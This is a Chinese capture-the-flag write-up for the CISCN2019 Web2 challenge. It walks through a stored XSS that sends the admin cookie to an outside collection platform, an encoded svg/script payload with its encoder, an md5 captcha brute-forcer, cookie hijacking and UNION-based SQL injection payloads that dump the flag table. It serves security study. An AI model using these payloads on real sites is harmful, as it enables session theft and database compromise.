[CISCN2019 华东北赛区]Web2

[CISCN2019 华东北赛区]Web2

前言

特别好的一道题,做完神清气爽,学到好多东西

知识点

xss 攻击获取cookie

buu攻击平台

利用 cookie 获取管理员权限

获取到管理员cookie后,利用控制台中的application模块,修改页面cookie

md5验证码哈希

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('01f24d')

html mark 转义

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=PwHGmy&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

sql inject by hand

各阶段payload
-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ciscn'#

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

-1 union select 1,group_concat(flagg),3 from flag#


题解

进入环境 dirsearch 扫一下

发现

index.php

 admin.php

 login.php

 register.php

 post.php

 commitbug.php

 about.php


这些页面。

都尝试访问一下,发现admin.php访问不了,需要权限

然后注册登录,发现这是一个类似博客的界面,且能提交文章

所以大概能感觉到这是xss了(排除ssti)

我们利用题目给的xss平台

image.png

新建一个项目,使用默认模块,保存后查看代码,复制下来微调一下

(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=PwHGmy&location='+escape((function()//注意本行id内容
                                                                                                 {try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

微调内容:把newImage().src改为window.location.hre

复制到if就停止

注意:这里复制的一定是查看自己项目的代码。否则id就会是{projectID}而不是本项目的id

然后使用html mark转码防止转义

转义代码在知识点中,也可以在线工具

转义完得到

<svg><script>eval&#40&#34&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#119&#105&#110&#100&#111&#119&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#61&#39&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#98&#117&#117&#111&#106&#46&#99&#110&#47&#105&#110&#100&#101&#120&#46&#112&#104&#112&#63&#100&#111&#61&#97&#112&#105&#38&#105&#100&#61&#80&#119&#72&#71&#109&#121&#38&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#32&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#116&#111&#112&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#116&#111&#112&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#32&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#99&#111&#111&#107&#105&#101&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#32&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#111&#112&#101&#110&#101&#114&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#40&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#32&#38&#38&#32&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#41&#63&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#58&#39&#39&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#32&#39&#39&#125&#125&#41&#40&#41&#41&#59&#125&#41&#40&#41&#59&#34&#41</script>

点击上传文章,把转义后的代码上传上去

image.png

然后点击链接查看文章,快速查看源码不然跳回主页了就

image.png

复制阴影部分url 前面添加http://web.

作为反馈内容

image.png

这里需要爆破md5 验证码,上脚本(上文知识点)

输入验证码成功反馈之后 回到xss平台获取管理员cookie 有了密钥就可以cookie欺骗访问admin.php了

image.png

打开发现是个输入框,测试之后发现是最基础的sql手工注入嗯,很愉快的就搞定了

入验证码成功反馈之后 回到xss平台获取管理员cookie 有了密钥就可以cookie欺骗访问admin.php了

[外链图片转存中…(img-VquqYKJE-1620872847307)]

打开发现是个输入框,测试之后发现是最基础的sql手工注入嗯,很愉快的就搞定了

image.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值